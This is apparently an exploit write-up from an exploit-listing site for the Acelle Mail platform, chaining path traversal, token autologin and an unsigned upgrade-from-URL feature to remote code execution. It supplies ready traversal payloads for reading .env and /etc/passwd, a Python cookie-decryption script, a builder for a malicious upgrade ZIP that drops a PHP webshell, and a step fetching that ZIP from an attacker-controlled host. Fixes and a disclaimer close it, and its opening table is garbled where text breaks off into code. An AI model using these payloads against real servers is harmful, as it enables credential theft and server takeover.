## https://sploitus.com/exploit?id=AC1C6CCB-4293-5856-8A3E-EF79FBF3897E
# Acelle Mail **Note:** The path traversal alone (Step 1) is sufficient to dump every file the web server user can read β including `/etc/passwd`, Laravel logs, application source code, and database config. The full chain to RCE requires either database access (phpMyAdmin, exposed MySQL port, or SSRF) or a registered account to obtain the admin API token.
---
## Affected Software
| Field | Value |
|-------|-------|
| Software | Acelle Mail (by Acelle/JESWEB) |
| Affected Version | file($absPath, ['Content-Type' => $type]);
// ^^^^^^^^^^^^^^^^ β Serves ANY file on the filesystem!
}
abort(404);
});
// Second variant with display filename support:
Route::get('assets/{name}/{real_name?}', function ($name) {
// Same vulnerable pattern β base64 decode β storage_path() β response()->file()
});
```
**Root Cause:** `$decoded` is never validated against directory traversal sequences (`../`). Encoding `../../.env` as URL-safe base64 (`Li4vLmVudg`) traverses out of the `storage/` directory and reads the application `.env` file.
### Vulnerability 2: Autologin Route Without Protection
```php
// routes/web.php β middleware: ['not_installed', 'not_logged_in'] β NO auth required!
Route::get('/autologin/{api_token}', 'Controller@autoLogin');
// app/Http/Controllers/Controller.php
public function autoLogin($api_token)
{
$user = User::where('api_token', $api_token)->first();
// ^^^^^^^^^^ β Direct DB lookup, no validation!
Auth::login($user);
// ^^^^^ β Instant authentication as ANY user!
return redirect()->action('HomeController@index');
}
```
**Root Cause:** No rate limiting, no token expiry, no IP binding, no HMAC signature. Anyone with the `api_token` value (obtainable from the database via leaked credentials) gets instant admin access.
### Vulnerability 3: UpgradeFromUrl Arbitrary File Write
```php
// routes/web.php β line 955, admin middleware group
Route::match(['get','post'], 'q', 'SettingController@upgradeFromUrl');
// app/Http/Controllers/Admin/SettingController.php
public function upgradeFromUrl(Request $request)
{
if ($request->isMethod('post')) {
$downloader = new Downloader($request->input('url'));
// ^^^^^^^^^^^^^^^^^^^^^^ β Attacker-controlled URL!
$tmpPath = storage_path('tmp/upgrade.bin.zip');
$downloader->downloadTo($tmpPath);
// ^^^^^^^^^^^ β Downloads ANY file from ANY URL!
$manager = new UpgradeManager();
$manager->load($tmpPath);
// ^^^^ β Extracts ZIP to storage/tmp/patch/
$failed = $manager->test();
// ... if writable ...
$manager->run();
// ^^^^ β Copies ALL files to base_path() including public/!
// No signature check! No file type whitelist!
}
}
```
**Root Cause:** The upgrade mechanism downloads a ZIP from any URL and extracts its contents to the application root. The `meta.json` inside the ZIP controls which files get written. There is no code signing, no checksum verification, and no restriction on file extensions β a `.php` file in the `public/` path of the ZIP gets written directly to the webroot.
### Vulnerability 4: Session Cookies Decryptable with Leaked APP_KEY
```php
// config/session.php
'encrypt' => false, // β Session data stored UNENCRYPTED on disk!
'driver' => 'file', // β Plain PHP serialized files in storage/framework/sessions/
// app/Http/Middleware/EncryptCookies.php
protected static $serialize = false;
// ^^^^^ β Cookie value is NOT unserialized (blocks gadget chains)
// BUT the session ID is still AES-256-CBC encrypted with APP_KEY
// With APP_KEY leaked, attacker can decrypt β encrypt at will
```
**Cookie format (after decryption):**
```
{sha1_hash}|{40_char_session_id}
```
The session file at `storage/framework/sessions/{session_id}` contains raw PHP serialized data readable via the path traversal.
### Vulnerability 5: Unprotected Sensitive Routes
```php
// routes/web.php β middleware: ['not_installed', 'not_logged_in'] β PUBLIC!
// Run ALL pending database migrations without authentication
Route::get('/migrate/run', 'Admin\Upgrade@migrate');
// β Artisan::call('migrate', ['--force' => true]);
// Delivery webhooks β no auth, no CSRF, log raw user input
Route::post('delivery/notify/{stype?}', 'DeliveryController@notify');
Route::get('delivery/notify/{stype?}', 'DeliveryController@notify');
Route::post('delivery/report', 'DeliveryController@report');
```
The SendGrid webhook handler logs the entire raw POST body to a file:
```php
// In handleSendGrid():
MailLog::info(file_get_contents('php://input'));
// β Writes to storage/logs/handler-sendgrid.log
// β Attacker-controlled PHP code injected into log file
// β No LFI trigger exists to execute it (dead end in this version)
```
---
## Exploitation
### Full Chain: Unauth β RCE
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ATTACKER (No Auth) β
ββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β Step 1: Path Traversal β Read .env β β GET request
β GET /p/assets/Li4vLmVudg β No auth
β β APP_KEY, DB_PASSWORD, SMTP creds β
βββββββββββββββββ¬ββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β Step 2: Access Database β
β β
β Option A: phpMyAdmin exposed β β Common on
β β Login with leaked DB creds β shared hosting
β β
β Option B: Session hijack β β APP_KEY
β β Decrypt cookie β Read session file β only
β β Find admin session ID β
β β
β Option C: Register account β β If open
β β Get API token from own account β registration
β β Escalate via SSRF (if available) β
βββββββββββββββββ¬ββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β Step 3: Extract admin API token β β SQL query
β SELECT api_token FROM users β
β WHERE id = 1; β
β β "i3UCh7Fz...8xcgz0I8G0" β
βββββββββββββββββ¬ββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β Step 4: Autologin as Admin β β GET request
β GET /autologin/{api_token} β No password
β β 302 β Admin dashboard β needed
βββββββββββββββββ¬ββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β Step 5: Upload Shell via /q β β POST request
β POST /q β
β url=https://attacker.com/patch.zip β
β β ZIP extracted to base_path() β
β β public/shell.php written! β
βββββββββββββββββ¬ββββββββββββββββββββββββ
β
βββββββββββββββββΌββββββββββββββββββββββββ
β RCE ACHIEVED! β
β GET /shell.php?cmd=id β
β β uid=33(www-data) β
βββββββββββββββββββββββββββββββββββββββββ
```
### Malicious Upgrade ZIP Structure
```
upgrade_patch.zip
βββ meta.json
βββ public/
βββ shell.php
```
**meta.json:**
```json
{
"version": "99.0.0",
"last_supported": "1.0.0",
"updated": ["public/shell.php"],
"deleted": [],
"packages": [],
"dirs": []
}
```
The `updated` array tells UpgradeManager which files to copy from the ZIP to `base_path()`. Setting `public/shell.php` writes the shell directly to the webroot.
### Path Traversal PoC Payloads
| Target File | Base64 (URL-safe) | Route |
|------------|-------------------|-------|
| `.env` | `Li4vLmVudg` | `GET /p/assets/Li4vLmVudg` |
| `/etc/passwd` | `Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA` | `GET /p/assets/Li4vLi4v...` |
| `config/app.php` | `Li4vY29uZmlnL2FwcC5waHA` | `GET /p/assets/Li4vY29u...` |
| `config/database.php` | `Li4vY29uZmlnL2RhdGFiYXNlLnBocA` | `GET /p/assets/Li4vY29u...` |
| `laravel.log` | `bG9ncy9sYXJhdmVsLmxvZw` | `GET /p/assets/bG9ncy9s...` |
| Session file | `ZnJhbWV3b3JrL3Nlc3Npb25zL3tJRH0` | `GET /p/assets/ZnJhbWV3...` |
| Apache vhost config | `Li4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvc2l0ZXMtZW5hYmxlZC8wMDAtZGVmYXVsdC5jb25m` | `GET /p/assets/Li4vLi4v...` |
### Session Cookie Decryption (Python)
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64, json, hmac, hashlib
# APP_KEY from leaked .env
key = base64.b64decode('') # 32 bytes for AES-256-CBC
# Session cookie value (URL-decoded, base64-decoded)
cookie_json = json.loads(base64.b64decode(cookie_value))
iv = base64.b64decode(cookie_json['iv'])
value = base64.b64decode(cookie_json['value'])
mac = cookie_json['mac']
# 1. Verify HMAC-SHA256
mac_input = (cookie_json['iv'] + cookie_json['value']).encode()
calc_mac = hmac.new(key, mac_input, hashlib.sha256).hexdigest()
assert calc_mac == mac # β MAC matches β key is correct
# 2. Decrypt AES-256-CBC β session ID
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(value), AES.block_size).decode()
session_id = decrypted.split('|')[1] # Format: {hash}|{session_id}
# 3. Read session file via path traversal
# GET /p/assets/{base64("framework/sessions/" + session_id)}
# β Returns raw PHP serialized session data
```
### Upgrade ZIP Builder (Python)
```python
import zipfile, io, json
def build_upgrade_zip(shell_code, output_path='upgrade_patch.zip'):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
meta = json.dumps({
"version": "99.0.0",
"last_supported": "1.0.0",
"updated": ["public/shell.php"],
"deleted": [],
"packages": [],
"dirs": []
})
zf.writestr('meta.json', meta)
zf.writestr('public/shell.php', shell_code)
with open(output_path, 'wb') as f:
f.write(buf.getvalue())
# Usage:
shell = ''
build_upgrade_zip(shell)
```
---
## Vectors Investigated (Dead Ends)
During the audit, the following RCE vectors were **investigated and confirmed blocked** in Acelle Mail 4.0.24 on Laravel 8:
| Vector | Why It's Blocked |
|--------|-----------------|
| Cookie deserialization (APP_KEY β RCE) | `$serialize = false` in EncryptCookies β cookies are NOT unserialized |
| Session path traversal β arbitrary session | `ctype_alnum()` + `strlen === 40` on session ID |
| Public file upload | No unauthenticated upload endpoint exists |
| LFI (include/require) | All file serving uses `response()->file()`, never `include()` |
| PHAR deserialization via path traversal | `storage_path()` prepends absolute path, cannot inject `phar://` wrapper |
| Log injection β LFI | Logs written to `storage/logs/`, no include trigger to execute PHP |
| Subscribe image upload | `updateFields()` only saves text, `uploadImage()` never called from public flow |
| MySQL `INTO OUTFILE` | `secure_file_priv = /var/lib/mysql-files/` blocks writes to webroot |
| MySQL `general_log` trick | MySQL user can set `general_log = ON` but cannot change `general_log_file` to webroot |
| Settings logo upload (admin) | Validated with Laravel `'image'` rule β rejects `.php` extension |
---
## Vulnerability Summary Table
| # | Vulnerability | Severity | Auth | CWE |
|---|--------------|----------|------|-----|
| 1 | Path Traversal β Arbitrary File Read | **CRITICAL** | None | CWE-22 |
| 2 | `.env` Credential Exposure (APP_KEY, DB, SMTP) | **CRITICAL** | None | CWE-200 |
| 3 | Session Cookie Decryption + Forging | **HIGH** | None* | CWE-347 |
| 4 | Session File Read (Unencrypted on Disk) | **HIGH** | None | CWE-200 |
| 5 | Autologin via API Token (No Rate Limit) | **HIGH** | None** | CWE-306 |
| 6 | UpgradeFromUrl Arbitrary File Write β RCE | **CRITICAL** | Admin | CWE-434 |
| 7 | Public Migration Execution (`/migrate/run`) | **HIGH** | None | CWE-306 |
| 8 | Delivery Webhook Log Injection | **MEDIUM** | None | CWE-117 |
| 9 | Debug Info Leak (laravel.log, stack traces) | **MEDIUM** | None | CWE-209 |
| 10 | SMTP Credential Exposure | **HIGH** | None | CWE-200 |
\* Requires leaked APP_KEY (obtained from vuln #2)
\*\* Requires admin api_token (obtained from DB access or session hijack)
---
## Fix Recommendations
### Fix 1: Sanitize Path Traversal in Asset Routes (Critical)
```php
// BEFORE (vulnerable):
$decoded = base64_decode(str_replace(['-', '_'], ['+', '/'], $name));
$absPath = storage_path($decoded);
// AFTER (safe):
$decoded = base64_decode(str_replace(['-', '_'], ['+', '/'], $name));
$absPath = realpath(storage_path($decoded));
// Ensure resolved path stays within storage directory
if ($absPath === false || !str_starts_with($absPath, storage_path())) {
abort(404);
}
```
### Fix 2: Protect Autologin Route
```php
// Add rate limiting, token expiry, and IP binding:
Route::get('/autologin/{api_token}', 'Controller@autoLogin')
->middleware('throttle:3,60'); // Max 3 attempts per 60 minutes
// In the controller:
public function autoLogin($api_token)
{
$user = User::where('api_token', $api_token)
->where('api_token_expires_at', '>', now()) // Token expiry
->first();
if (!$user) { abort(403); }
// Regenerate token after use (one-time use)
$user->update(['api_token' => Str::random(60)]);
Auth::login($user);
return redirect()->action('HomeController@index');
}
```
### Fix 3: Add Integrity Check to UpgradeFromUrl
```php
// Verify ZIP signature before extraction:
public function upgradeFromUrl(Request $request)
{
// ... download ZIP ...
// Verify digital signature
$signature = file_get_contents($tmpPath . '.sig');
$publicKey = file_get_contents(base_path('upgrade_public_key.pem'));
if (!openssl_verify(file_get_contents($tmpPath), $signature, $publicKey, OPENSSL_ALGO_SHA256)) {
throw new \Exception('Invalid upgrade signature');
}
// Whitelist allowed file extensions
$allowedExtensions = ['php', 'blade.php', 'js', 'css', 'json', 'html'];
// ... validate ZIP contents against whitelist ...
}
```
### Fix 4: Encrypt Session Files on Disk
```php
// config/session.php
'encrypt' => true, // β Encrypt session data at rest
```
### Fix 5: Protect Sensitive Public Routes
```php
// Move /migrate/run behind authentication:
Route::get('/migrate/run', 'Admin\Upgrade@migrate')
->middleware(['auth', 'backend']);
// Add webhook secret to delivery routes:
Route::post('delivery/notify/{stype?}', 'DeliveryController@notify')
->middleware('verify.webhook.signature');
```
### Fix 6: Rotate Credentials After Exposure
```bash
# Generate new APP_KEY
php artisan key:generate
# Invalidate all sessions
rm -rf storage/framework/sessions/*
# Change database password
# Change SMTP passwords
# Regenerate all user API tokens
php artisan tinker --execute="App\Models\User::query()->update(['api_token' => null]);"
```
---
## Researcher
- Credit: [Yucaerin](https://yucaerin.github.io/)
---
## References
- [Acelle Mail Official](https://acellemail.com/)
- [Laravel Security β Encryption](https://laravel.com/docs/8.x/encryption)
- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)
- [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [OWASP: Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)
---
## Disclaimer
This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.